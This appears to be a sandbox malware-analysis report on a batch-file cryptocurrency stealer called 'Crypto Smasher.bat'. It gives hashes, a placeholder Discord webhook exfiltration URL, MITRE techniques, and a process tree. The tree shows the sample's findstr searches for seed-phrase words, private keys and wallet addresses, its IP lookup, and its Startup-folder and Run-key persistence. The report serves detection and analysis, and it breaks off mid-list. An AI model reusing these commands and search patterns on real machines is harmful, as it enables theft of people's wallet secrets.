4630eb0e7222441f74fc9638974a382637f122801d06ed8cf3396339a95b9a77

Analysis

max time kernel
898s
max time network
464s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
29/07/2026, 02:12

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Crypto Smasher.bat
Size 10KB
Sample260729-cnbrdasdmb
SHA256 4630eb0e7222441f74fc9638974a382637f122801d06ed8cf3396339a95b9a77
MD5 6eb0eb60ce0ce13e9a52fbf488203ddd
SHA1 1872ac5a26cc8603e14aabdb7c494aa08488a841
SHA512 d0db2a7a88d4ca9a5fe5d2eb8ead1757fae3440883a8d54fd348e9171af74e0188f6b93f1018eb60bc243206baadc1b0d5777cb4c69911f0222d72e75d0c3cc7
SSDEEP 96:aDUIKEz5MgU7zBGsRFKYIIKqAzHQEjHXY6HAOHSOCHPsHqLJHGyHdQIKbYDUvTYy:anyL7pUh6TGITRR3UvWT6Dx
TLSH
T12B22BEAD3710205506DFC57E4E2F42942542524B8A4EFC7C31AEB0BE66B3FE119BF6A4
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence privilege_escalation spyware stealer

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://discord.com/api/webhooks/YOUR_WEBHOOK_ID/YOUR_WEBHOOK_TOKEN

Extracted

Language

Source

URLs

exe.dropper
https://discord.com/api/webhooks/YOUR_WEBHOOK_ID/YOUR_WEBHOOK_TOKEN

Signatures

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	2948	powershell.exe
10	2948	powershell.exe
11	2948	powershell.exe
14	4764	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2948	powershell.exe
4764	powershell.exe
5524	powershell.exe
5208	powershell.exe

Creates a file in the Startup directory 1 TTPs 3 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CryptoScanner.bat	cmd.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CryptoScanner.bat	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CryptoScanner.bat	cmd.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\CryptoScanner = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Crypto Smasher.bat"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\CryptoScanner = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Crypto Smasher.bat"	reg.exe

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
2	api.ipify.org
14	api.ipify.org

Executes a command shell one-liner 1 TTPs 31 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
620	cmd.exe
2604	cmd.exe
2652	cmd.exe
1896	cmd.exe
2456	cmd.exe
4772	cmd.exe
3592	cmd.exe
4984	cmd.exe
2448	cmd.exe
2396	cmd.exe
5772	cmd.exe
3912	cmd.exe
3400	cmd.exe
1788	cmd.exe
4316	cmd.exe
1780	cmd.exe
4716	cmd.exe
1688	cmd.exe
1140	cmd.exe
4780	cmd.exe
3496	cmd.exe
2332	cmd.exe
5172	cmd.exe
5412	cmd.exe
5856	cmd.exe
5072	cmd.exe
2176	cmd.exe
4476	cmd.exe
5064	cmd.exe
1524	cmd.exe
3920	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 6 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
5588	findstr.exe
1176	findstr.exe
2768	findstr.exe
5420	findstr.exe
5160	findstr.exe
5280	findstr.exe

Delays execution with timeout.exe 2 IoCs

defense_evasion

pid	Process
3828	timeout.exe
6084	timeout.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
2948	powershell.exe
2948	powershell.exe
5524	powershell.exe
5524	powershell.exe
4764	powershell.exe
4764	powershell.exe
5208	powershell.exe
5208	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2948	powershell.exe
Token: SeDebugPrivilege	5524	powershell.exe
Token: SeDebugPrivilege	4764	powershell.exe
Token: SeDebugPrivilege	5208	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5856 wrote to memory of 620	5856	cmd.exe	89
PID 620 wrote to memory of 5072	620	cmd.exe	90
PID 5072 wrote to memory of 3644	5072	cmd.exe	91
PID 620 wrote to memory of 2332	620	cmd.exe	92
PID 2332 wrote to memory of 2948	2332	cmd.exe	93
PID 620 wrote to memory of 2176	620	cmd.exe	96
PID 2176 wrote to memory of 1020	2176	cmd.exe	97
PID 620 wrote to memory of 2652	620	cmd.exe	98
PID 2652 wrote to memory of 3040	2652	cmd.exe	99
PID 620 wrote to memory of 1896	620	cmd.exe	100
PID 1896 wrote to memory of 4500	1896	cmd.exe	101
PID 620 wrote to memory of 1788	620	cmd.exe	102
PID 1788 wrote to memory of 2856	1788	cmd.exe	103
PID 620 wrote to memory of 4476	620	cmd.exe	104
PID 4476 wrote to memory of 4308	4476	cmd.exe	105
PID 620 wrote to memory of 4316	620	cmd.exe	106
PID 4316 wrote to memory of 816	4316	cmd.exe	107
PID 620 wrote to memory of 4984	620	cmd.exe	108
PID 4984 wrote to memory of 800	4984	cmd.exe	109
PID 620 wrote to memory of 2448	620	cmd.exe	110
PID 2448 wrote to memory of 1072	2448	cmd.exe	111
PID 620 wrote to memory of 1780	620	cmd.exe	112
PID 1780 wrote to memory of 1632	1780	cmd.exe	113
PID 620 wrote to memory of 5064	620	cmd.exe	114
PID 5064 wrote to memory of 4628	5064	cmd.exe	115
PID 620 wrote to memory of 2456	620	cmd.exe	116
PID 2456 wrote to memory of 2236	2456	cmd.exe	117
PID 620 wrote to memory of 4716	620	cmd.exe	118
PID 4716 wrote to memory of 2828	4716	cmd.exe	119
PID 620 wrote to memory of 4512	620	cmd.exe	120
PID 620 wrote to memory of 2768	620	cmd.exe	121
PID 620 wrote to memory of 2812	620	cmd.exe	122
PID 620 wrote to memory of 5036	620	cmd.exe	123
PID 620 wrote to memory of 2020	620	cmd.exe	124
PID 620 wrote to memory of 812	620	cmd.exe	125
PID 620 wrote to memory of 4944	620	cmd.exe	126
PID 620 wrote to memory of 5812	620	cmd.exe	127
PID 620 wrote to memory of 4448	620	cmd.exe	128
PID 620 wrote to memory of 4152	620	cmd.exe	129
PID 620 wrote to memory of 4468	620	cmd.exe	130
PID 620 wrote to memory of 6116	620	cmd.exe	131
PID 620 wrote to memory of 5612	620	cmd.exe	132
PID 620 wrote to memory of 3112	620	cmd.exe	133
PID 620 wrote to memory of 4332	620	cmd.exe	134
PID 620 wrote to memory of 848	620	cmd.exe	135
PID 620 wrote to memory of 3796	620	cmd.exe	136
PID 620 wrote to memory of 3208	620	cmd.exe	137
PID 620 wrote to memory of 6068	620	cmd.exe	138
PID 620 wrote to memory of 3100	620	cmd.exe	139
PID 620 wrote to memory of 5936	620	cmd.exe	140
PID 620 wrote to memory of 968	620	cmd.exe	141
PID 620 wrote to memory of 3588	620	cmd.exe	142
PID 620 wrote to memory of 5412	620	cmd.exe	143
PID 620 wrote to memory of 3496	620	cmd.exe	144
PID 620 wrote to memory of 3592	620	cmd.exe	145
PID 620 wrote to memory of 3656	620	cmd.exe	146
PID 620 wrote to memory of 5832	620	cmd.exe	147
PID 620 wrote to memory of 4140	620	cmd.exe	148
PID 620 wrote to memory of 4968	620	cmd.exe	149
PID 620 wrote to memory of 5272	620	cmd.exe	150
PID 620 wrote to memory of 5260	620	cmd.exe	151
PID 620 wrote to memory of 5108	620	cmd.exe	152
PID 620 wrote to memory of 3644	620	cmd.exe	153
PID 620 wrote to memory of 5268	620	cmd.exe	154

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Crypto Smasher.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5856
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\Crypto Smasher.bat" hidden
  2⤵
  - Creates a file in the Startup directory
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:620
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c hostname
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5072
  - - C:\Windows\system32\HOSTNAME.EXE
      hostname
      4⤵
      PID:3644
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -Command "(Invoke-WebRequest -Uri 'https://api.ipify.org' -UseBasicParsing).Content" 2>nul
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2332
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "(Invoke-WebRequest -Uri 'https://api.ipify.org' -UseBasicParsing).Content"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2948
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c findstr /i "abandon about above absent absorb abstract absurd abuse access accident" "C:\Users\Admin\Desktop\*.txt" 2>nul
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2176
  - - C:\Windows\system32\findstr.exe
      findstr /i "abandon about above absent absorb abstract absurd abuse access accident" "C:\Users\Admin\Desktop\*.txt"
      4⤵
      PID:1020
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c findstr /i "[0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f]" "C:\Users\Admin\Desktop\*.txt" 2>nul
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2652
  - - C:\Windows\system32\findstr.exe
      findstr /i "[0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f]" "C:\Users\Admin\Desktop\*.txt"
      4⤵
      PID:3040
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c findstr /i "abandon about above absent absorb abstract absurd abuse access accident" "C:\Users\Admin\Documents\*.txt" 2>nul
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1896
  - - C:\Windows\system32\findstr.exe
      findstr /i "abandon about above absent absorb abstract absurd abuse access accident" "C:\Users\Admin\Documents\*.txt"
      4⤵
      PID:4500
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c findstr /i "[0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f]" "C:\Users\Admin\Documents\*.txt" 2>nul
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1788
  - - C:\Windows\system32\findstr.exe
      findstr /i "[0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f]" "C:\Users\Admin\Documents\*.txt"
      4⤵
      PID:2856
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c findstr /i "abandon about above absent absorb abstract absurd abuse access accident" "C:\Users\Admin\Downloads\*.txt" 2>nul
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4476
  - - C:\Windows\system32\findstr.exe
      findstr /i "abandon about above absent absorb abstract absurd abuse access accident" "C:\Users\Admin\Downloads\*.txt"
      4⤵
      PID:4308
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c findstr /i "[0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f]" "C:\Users\Admin\Downloads\*.txt" 2>nul
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4316
  - - C:\Windows\system32\findstr.exe
      findstr /i "[0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f]" "C:\Users\Admin\Downloads\*.txt"
      4⤵
      PID:816
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c findstr /i "abandon about above absent absorb abstract absurd abuse access accident" "C:\Users\Admin\AppData\Roaming\*.txt" 2>nul
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4984
  - - C:\Windows\system32\findstr.exe
      findstr /i "abandon about above absent absorb abstract absurd abuse access accident" "C:\Users\Admin\AppData\Roaming\*.txt"
      4⤵
      PID:800
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c findstr /i "[0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f]" "C:\Users\Admin\AppData\Roaming\*.txt" 2>nul
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2448
  - - C:\Windows\system32\findstr.exe
      findstr /i "[0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f]" "C:\Users\Admin\AppData\Roaming\*.txt"
      4⤵
      PID:1072
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c findstr /i "abandon about above absent absorb abstract absurd abuse access accident" "C:\Users\Admin\AppData\Local\*.txt" 2>nul
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1780
  - - C:\Windows\system32\findstr.exe
      findstr /i "abandon about above absent absorb abstract absurd abuse access accident" "C:\Users\Admin\AppData\Local\*.txt"
      4⤵
      PID:1632
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c findstr /i "[0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f]" "C:\Users\Admin\AppData\Local\*.txt" 2>nul
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5064
  - - C:\Windows\system32\findstr.exe
      findstr /i "[0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f]" "C:\Users\Admin\AppData\Local\*.txt"
      4⤵
      PID:4628
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c findstr /i "[13][a-km-zA-HJ-NP-Z1-9][a-km-zA-HJ-NP-Z1-9][a-km-zA-HJ-NP-Z1-9][a-km-zA-HJ-NP-Z1-9]" "C:\Users\Admin\*.txt" 2>nul
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2456
  - - C:\Windows\system32\findstr.exe
      findstr /i "[13][a-km-zA-HJ-NP-Z1-9][a-km-zA-HJ-NP-Z1-9][a-km-zA-HJ-NP-Z1-9][a-km-zA-HJ-NP-Z1-9]" "C:\Users\Admin\*.txt"
      4⤵
      PID:2236
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c findstr /i "0x[a-f0-9][a-f0-9][a-f0-9][a-f0-9][a-f0-9]" "C:\Users\Admin\*.txt" 2>nul
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4716
  - - C:\Windows\system32\findstr.exe
      findstr /i "0x[a-f0-9][a-f0-9][a-f0-9][a-f0-9][a-f0-9]" "C:\Users\Admin\*.txt"
      4⤵
      PID:2828
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\config.json"
    3⤵
    PID:4512
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\AddPing\config.json"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:2768
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Adobe\config.json"
    3⤵
    PID:2812
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\config.json"
    3⤵
    PID:5036
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\DC\config.json"
    3⤵
    PID:2020
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\DC\Collab\config.json"
    3⤵
    PID:812
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\DC\Security\config.json"
    3⤵
    PID:4944
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Adobe\Flash Player\config.json"
    3⤵
    PID:5812
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Adobe\Flash Player\NativeCache\config.json"
    3⤵
    PID:4448
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\config.json"
    3⤵
    PID:4152
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\AddIns\config.json"
    3⤵
    PID:4468
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Credentials\config.json"
    3⤵
    PID:6116
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\config.json"
    3⤵
    PID:5612
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\Keys\config.json"
    3⤵
    PID:3112
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\config.json"
    3⤵
    PID:4332
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-552508041-2681165170-3229858294-1000\config.json"
    3⤵
    PID:848
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Excel\config.json"
    3⤵
    PID:3796
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\config.json"
    3⤵
    PID:3208
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\config.json"
    3⤵
    PID:6068
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\config.json"
    3⤵
    PID:3100
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts\config.json"
    3⤵
    PID:5936
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\config.json"
    3⤵
    PID:968
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\config.json"
    3⤵
    PID:3588
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Office\config.json"
    3⤵
    PID:5412
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Office\Recent\config.json"
    3⤵
    PID:3496
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\OneNote\config.json"
    3⤵
    PID:3592
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\OneNote\16.0\config.json"
    3⤵
    PID:3656
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Outlook\config.json"
    3⤵
    PID:5832
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Proof\config.json"
    3⤵
    PID:4140
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Protect\config.json"
    3⤵
    PID:4968
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-552508041-2681165170-3229858294-1000\config.json"
    3⤵
    PID:5272
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Spelling\config.json"
    3⤵
    PID:5260
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Spelling\en-US\config.json"
    3⤵
    PID:5108
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Spelling\neutral\config.json"
    3⤵
    PID:3644
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\config.json"
    3⤵
    PID:5268
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\My\config.json"
    3⤵
    PID:3628
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\config.json"
    3⤵
    PID:4252
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\My\CRLs\config.json"
    3⤵
    PID:5756
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\My\CTLs\config.json"
    3⤵
    PID:4844
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Templates\config.json"
    3⤵
    PID:3108
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\config.json"
    3⤵
    PID:5164
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\config.json"
    3⤵
    PID:2312
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\config.json"
    3⤵
    PID:5692
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\config.json"
    3⤵
    PID:4408
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\config.json"
    3⤵
    PID:6136
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\config.json"
    3⤵
    PID:1692
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\config.json"
    3⤵
    PID:6008
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\config.json"
    3⤵
    PID:5852
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\config.json"
    3⤵
    PID:3388
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\config.json"
    3⤵
    PID:1516
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\User\config.json"
    3⤵
    PID:4832
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\User\Document Themes\config.json"
    3⤵
    PID:3180
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\User\Document Themes\1033\config.json"
    3⤵
    PID:4664
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\User\SmartArt Graphics\config.json"
    3⤵
    PID:4300
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\User\SmartArt Graphics\1033\config.json"
    3⤵
    PID:4536
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\User\Word Document Bibliography Styles\config.json"
    3⤵
    PID:3128
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\User\Word Document Building Blocks\config.json"
    3⤵
    PID:3328
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\User\Word Document Building Blocks\1033\config.json"
    3⤵
    PID:4660
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\UProof\config.json"
    3⤵
    PID:4484
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Vault\config.json"
    3⤵
    PID:2104
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\config.json"
    3⤵
    PID:4092
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\AccountPictures\config.json"
    3⤵
    PID:5532
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\CloudStore\config.json"
    3⤵
    PID:2240
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\config.json"
    3⤵
    PID:3040
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\config.json"
    3⤵
    PID:4500
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\config.json"
    3⤵
    PID:4528
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\config.json"
    3⤵
    PID:1400
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\config.json"
    3⤵
    PID:2692
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\config.json"
    3⤵
    PID:5044
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\config.json"
    3⤵
    PID:1988
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\config.json"
    3⤵
    PID:5348
- - C:\Windows\system32\findstr.exe
    findstr /i "seed phrase key wallet" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\config.json"
    3⤵
    PID:3768
- - C:\Windows\system32\findstr.exe
